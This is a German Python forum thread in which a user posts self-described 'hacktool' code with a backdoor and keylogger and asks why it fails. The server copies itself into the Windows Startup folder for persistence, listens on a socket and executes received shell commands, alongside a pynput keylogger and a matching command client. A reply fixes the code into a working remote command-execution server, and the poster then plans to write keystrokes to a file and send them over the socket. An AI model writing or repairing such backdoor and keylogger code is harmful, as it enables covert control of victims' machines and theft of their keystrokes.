Seite 1 von 1

Hacktool mit Keylogger

Verfasst: Sonntag 28. März 2021, 15:47
von Henri.py
Hi,
ich habe ein kleines Hacktool geschrieben(Natürlich nur zu Testzwecken) mit einer Backdoor und einem Keylogger. Und ich habe folgendes Problem. Obwohl ich das ganze in einer while schleife geschrieben habe wird das versenden und recv mit socket nicht richtig ausgeführt. Es gibt keine Fehlermeldung und ich glaube das Problem liegt am Server und zwar genau bei dem Keylogger der mit der with funktion ausgeführt wird.
Hier ist der Server:



import shutil
import os
import getpass
import socket
import subprocess
import pynput
from pynput.keyboard import Key, Listener
import threading

username = getpass.getuser()
source = (os.path.abspath(os.getcwd()) + r'\spy.py')
destination = r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hack.pyw'.format(username)
shutil.copy(source, destination)

HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
server.listen(1)

def press(key):
print(key)
return False
def release(key):
return False
def accept():
while True:
client, client_addr = server.accept()
def main():
while True:
try:
with Listener(on_press=press, on_release=release) as l: #PROBLEMA
l.join()
command = client.recv(1024)
command = command.decode('utf-8')
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
client.send(output + output_error)
except:
1+1


a = threading.Thread(target=accept)
m = threading.Thread(target=main)
a.start()
m.start()

Client:
import socket

REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

while True:
try:
command = input('Enter Command : ')
command = command.encode('utf-8')
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode('utf-8')
print(f"Output: {output}")
except:
print('[!]Ein Fehler ist aufgetreten(Der Server ist entweder offline oder der Befehl sorgt für Probleme)')

ich würde mich sehr über eure Hilfe freuen

Re: Hacktool mit Keylogger

Verfasst: Dienstag 30. März 2021, 07:12
von Sirius3
Statt Pfade per Stringformatierung zusammenzubauen benutzt man pathlib.Path.
Du befindest dich automatisch im aktuellen Verzeichnis, das so kompliziert zu ermitteln ist also unnötig.

Code: Alles auswählen

import shutil
from pathlib import Path
SOURCE = "spy.py"
DESTINATION = Path.home() / "AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/Hack.pyw"
shutil.copy(SOURCE, DESTINATION)
Was sollen die main- und accept-Threads? Der accept-Thread funktioniert gar nicht, weil client lokal ist und in main gar nicht definiert ist.
Socket-Programmierung funktioniert auch so nicht. Wie 99.999% aller Beispiele im Internet ist der Code einfach nur kaputt. Low-Level-Sockets möchtest Du nicht programmieren.

Statt subprocess.Popen reicht bei Dir subprocess.run. Dann vergisst Du auch nicht wait aufzurufen.
Benutze niemals nackte Excepts, denn so werden auch alle Deine Programmierfehler versteckt und Du kannst niemals die Fehler korrigieren.

Code: Alles auswählen

import socket
import subprocess

HOST = '127.0.0.1'
PORT = 8081

def main():
    server = socket.socket()
    server.bind((HOST, PORT))
    server.listen(1)
    while True:
        client, client_addr = server.accept()
        reader = client.makefile("r", encoding="utf-8")
        writer = client.makefile("w", encoding="utf-8")
        for command in reader:
            process = subprocess.run(command.strip(), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
            writer.write(process.stdout + process.stderr)

if __name__ == "__main__":
    main()

Re: Hacktool mit Keylogger

Verfasst: Dienstag 30. März 2021, 09:05
von Henri.py
wow danke für die Hilfe,
ich habe überlegt, wenn ich den KEylogger nicht in die while schleife einfügen kann könnte ich ihn doch auch als einzelne datei in die autostart datei einfügen, ihn alle seine daten in eine Text datei schreiben lassen und diese dann über spy.py per socket verschicken lassen.